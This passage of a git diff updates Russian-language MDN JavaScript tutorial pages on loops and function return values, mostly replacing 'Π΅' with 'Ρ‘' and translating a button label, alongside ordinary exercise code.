- <li>НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€! Однако Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π²Π΅Π΄Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчСт послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, Π° Π½Π΅ Π²Π²Π΅Ρ€Ρ…, поэтому Π²Π°ΠΌ <strong>Π½Π΅</strong> Π½ΡƒΠΆΠ΅Π½ <code>i ++</code>. Как Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ Π²Π½ΠΈΠ·?</li>
+ <li>НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€! Однако Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π²Π΅Π΄Ρ‘ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчёт послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, Π° Π½Π΅ Π²Π²Π΅Ρ€Ρ…, поэтому Π²Π°ΠΌ <strong>Π½Π΅</strong> Π½ΡƒΠΆΠ΅Π½ <code>i ++</code>. Как Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ Π²Π½ΠΈΠ·?</li>
</ul>
<p>Если Π²Ρ‹ допустили ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ «Бброс» (Reset). Если Ρƒ вас совсСм Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ получаСтся, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Β«Show solutionΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅.</p>
@@ -710,7 +710,7 @@ textarea.onkeyup = function(){
<h2 id="ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅_ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅_списка_гостСй">ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅:Β Β  Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ списка гостСй</h2>
-<p>Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅Β ΡΠΏΠΈΡΠΎΠΊ ΠΈΠΌΠ΅Π½, хранящихся Π² массивС, ΠΈ помСститС ΠΈΡ… Π² список гостСй. Π’ΡƒΡ‚ Π½Π΅ всё Ρ‚Π°ΠΊ просто:Β ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°Ρ‚ΡŒ Π€ΠΈΠ»Π° ΠΈ Π›ΠΎΠ»Ρƒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π°Π³Π»Ρ‹Π΅ ΠΈ всё соТрут! Π£ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° списка. Один для Ρ‚Π΅Ρ…, ΠΊΠΎΠ³ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΈΠ³Π»Π°ΡΠΈΡ‚ΡŒ, Π²Ρ‚ΠΎΡ€ΠΎΠΉ для Ρ‚Π΅Ρ…, ΠΊΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°Ρ‚ΡŒ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</p>
+<p>Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅Β ΡΠΏΠΈΡΠΎΠΊ ΠΈΠΌΡ‘Π½, хранящихся Π² массивС, ΠΈ помСститС ΠΈΡ… Π² список гостСй. Π’ΡƒΡ‚ Π½Π΅ всё Ρ‚Π°ΠΊ просто:Β ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°Ρ‚ΡŒ Π€ΠΈΠ»Π° ΠΈ Π›ΠΎΠ»Ρƒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π°Π³Π»Ρ‹Π΅ ΠΈ всё соТрут! Π£ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° списка. Один для Ρ‚Π΅Ρ…, ΠΊΠΎΠ³ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΈΠ³Π»Π°ΡΠΈΡ‚ΡŒ, Π²Ρ‚ΠΎΡ€ΠΎΠΉ для Ρ‚Π΅Ρ…, ΠΊΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°Ρ‚ΡŒ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</p>
<p>Для этого Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
@@ -733,7 +733,7 @@ textarea.onkeyup = function(){
<li><code>admitted.textContent +=</code> β€” Π½Π°Ρ‡Π°Π»ΠΎ строки, которая ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° <code>admitted.textContent</code>.</li>
</ul>
-<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ бонусный вопрос - послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ выполнСния Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡ Ρƒ вас останСтся Π΄Π²Π° списка ΠΈΠΌΠ΅Π½, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми, Π½ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ составлСны Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ: Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ списка Π±ΡƒΠ΄Π΅Ρ‚ запятая. Π‘ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти списки Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки вмСсто запятой Π±Ρ‹Π»Π° Ρ‚ΠΎΡ‡ΠΊΠ°.Β Π—Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΡΡ‚Π°Ρ‚ΡŒΠ΅ Β«<a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods">ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ строковыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a>Β».</p>
+<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ бонусный вопрос - послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ выполнСния Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡ Ρƒ вас останСтся Π΄Π²Π° списка ΠΈΠΌΡ‘Π½, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми, Π½ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ составлСны Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ: Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ списка Π±ΡƒΠ΄Π΅Ρ‚ запятая. Π‘ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти списки Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки вмСсто запятой Π±Ρ‹Π»Π° Ρ‚ΠΎΡ‡ΠΊΠ°.Β Π—Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΡΡ‚Π°Ρ‚ΡŒΠ΅ Β«<a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods">ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ строковыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a>Β».</p>
<p>Если Π²Ρ‹ допустили ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ «Бброс» (Reset). Если Ρƒ вас совсСм Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ получаСтся, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Β«ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅Β», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅.</p>
@@ -749,7 +749,7 @@ textarea.onkeyup = function(){
&lt;h2&gt;Editable code&lt;/h2&gt;
&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
&lt;textarea id="code" class="playable-code" style="height: 400px;width: 95%"&gt;
-var people = ['ΠšΡ€ΠΈΡ', 'Анна', 'Колин', 'Π’Π΅Ρ€Ρ€ΠΈ', 'Π€ΠΈΠ»', 'Π›ΠΎΠ»Π°', 'Π‘Π΅ΠΌ', 'Кай', 'Π‘Ρ€ΡŽΡ'];
+var people = ['ΠšΡ€ΠΈΡ', 'Анна', 'Колин', 'Π’Π΅Ρ€Ρ€ΠΈ', 'Π€ΠΈΠ»', 'Π›ΠΎΠ»Π°', 'Π‘Ρ‘ΠΌ', 'Кай', 'Π‘Ρ€ΡŽΡ'];
var admitted = document.querySelector('.admitted');
var refused = document.querySelector('.refused');
@@ -818,7 +818,7 @@ solution.addEventListener('click', function() {
updateCode();
});
-var jsSolution = 'var people = [\'ΠšΡ€ΠΈΡ\', \'Анна\', \'Колин\', \'Π’Π΅Ρ€Ρ€ΠΈ\', \'Π€ΠΈΠ»\', \'Π›ΠΎΠ»Π°\', \'Π‘Π΅ΠΌ\', \'Кай\', \'Π‘Ρ€ΡŽΡ\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'ΠŸΡ€ΠΈΠ³Π»Π°ΡΠΈΡ‚ΡŒ: \';\nrefused.textContent = \'НС ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°Ρ‚ΡŒ(!): \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Π€ΠΈΠ»\' || people[i] === \'Π›ΠΎΠ»Π°\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i &lt; people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
+var jsSolution = 'var people = [\'ΠšΡ€ΠΈΡ\', \'Анна\', \'Колин\', \'Π’Π΅Ρ€Ρ€ΠΈ\', \'Π€ΠΈΠ»\', \'Π›ΠΎΠ»Π°\', \'Π‘Ρ‘ΠΌ\', \'Кай\', \'Π‘Ρ€ΡŽΡ\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'ΠŸΡ€ΠΈΠ³Π»Π°ΡΠΈΡ‚ΡŒ: \';\nrefused.textContent = \'НС ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°Ρ‚ΡŒ(!): \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Π€ΠΈΠ»\' || people[i] === \'Π›ΠΎΠ»Π°\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i &lt; people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
var solutionEntry = jsSolution;
textarea.addEventListener('input', updateCode);
diff --git a/files/ru/learn/javascript/building_blocks/return_values/index.html b/files/ru/learn/javascript/building_blocks/return_values/index.html
index 9ccd384929..9ff812f4a1 100644
--- a/files/ru/learn/javascript/building_blocks/return_values/index.html
+++ b/files/ru/learn/javascript/building_blocks/return_values/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/JavaScript/Building_blocks/Return_values
<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Бобытия", "Learn/JavaScript/Building_blocks")}}</div>
-<p class="summary">Для нас Π² этом курсС имССтся Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π²Π°ΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Π΅Π΅ Π½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. НСкоторыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ сущСствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚, ΠΈ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ это Π·Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² своСм ΠΊΠΎΠ΄Π΅ ΠΈ ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваши собствСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ значСния. ΠœΡ‹ объясним всё это Π½ΠΈΠΆΠ΅.Β </p>
+<p class="summary">Для нас Π² этом курсС имССтся Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Π²Π°ΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Π΅Π΅ Π½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. НСкоторыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ сущСствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚, ΠΈ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ это Π·Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² своём ΠΊΠΎΠ΄Π΅ ΠΈ ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваши собствСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ значСния. ΠœΡ‹ объясним всё это Π½ΠΈΠΆΠ΅.Β </p>
<table class="learn-box standard-table">
<tbody>
@@ -35,7 +35,7 @@ console.log(newString);
// замСняСт ΠΎΠ΄Π½Ρƒ подстроку Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚
// Π½ΠΎΠ²ΡƒΡŽ строку со сдСланными Π·Π°ΠΌΠ΅Π½Π°ΠΌΠΈ</pre>
-<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ этот Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° Π² нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ΠœΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a>Β Π½Π° строкС <code>myText</code>Β ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅ΠΉ 2 ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β β€”Β  Π·Π°ΠΌΠ΅Π½ΡΠ΅ΠΌΡƒΡŽ подстроку ΠΈ подстроку, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒ. Когда функция Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΎΠ½Π° Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ являСтся новая строка со сдСланными Π² Π½Π΅ΠΉ Π·Π°ΠΌΠ΅Π½Π°ΠΌΠΈ.Β  Π’ ΠΊΠΎΠ΄Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ сохраняСм это Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>newString</code>.</p>
+<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ этот Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° Π² нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ΠœΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a>Β Π½Π° строкС <code>myText</code>Β ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅ΠΉ 2 ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β β€”Β  Π·Π°ΠΌΠ΅Π½ΡΠ΅ΠΌΡƒΡŽ подстроку ΠΈ подстроку, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒ. Когда функция Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΎΠ½Π° Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ являСтся новая строка со сдСланными Π² Π½Π΅ΠΉ Π·Π°ΠΌΠ΅Π½Π°ΠΌΠΈ.Β  Π’ ΠΊΠΎΠ΄Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ сохраняСм это Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>newString</code>.</p>
<p>Если Π’Ρ‹ посмотритС Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ replace() Π½Π° MDN reference page, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΡΠ΅ΠΊΡ†ΠΈΡŽ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value">Return value</a>.Β  ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ значСния Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ функциями, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ пытаСмся Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</p>
@@ -109,7 +109,7 @@ function factorial(num) {
return num;
}</pre>
<code>Π€</code>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>squared()</code>Β ΠΈΒ <code>cubed()</code> довольно ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹β€” ΠΎΠ½ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΠΈΠ»ΠΈ ΠΊΡƒΠ± ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ числа. Ѐункция <code>factorial()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <a href="https://en.wikipedia.org/wiki/Factorial">factorial</a> ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа.</li>
- <li>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ способ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ Π² Β text input числС. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½ΠΈΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:
+ <li>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ способ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ Π² Β text input числС. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½ΠΈΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:
<pre class="brush: js">input.onchange = function() {
var num = input.value;
if (isNaN(num)) {
@@ -121,10 +121,10 @@ function factorial(num) {
}
}</pre>
- <p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>onchange</code>Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ срабатываСт ΠΊΠΎΠ³Π΄Π° мСняСтся ΠΊΠΎΠ³Π΄Π° Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вводится Π² text input ΠΈ подтвСрТдаСтся (Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ tab). Когда анонимная функция срабатываСт, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π² inputΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ сохраняСтся Π² 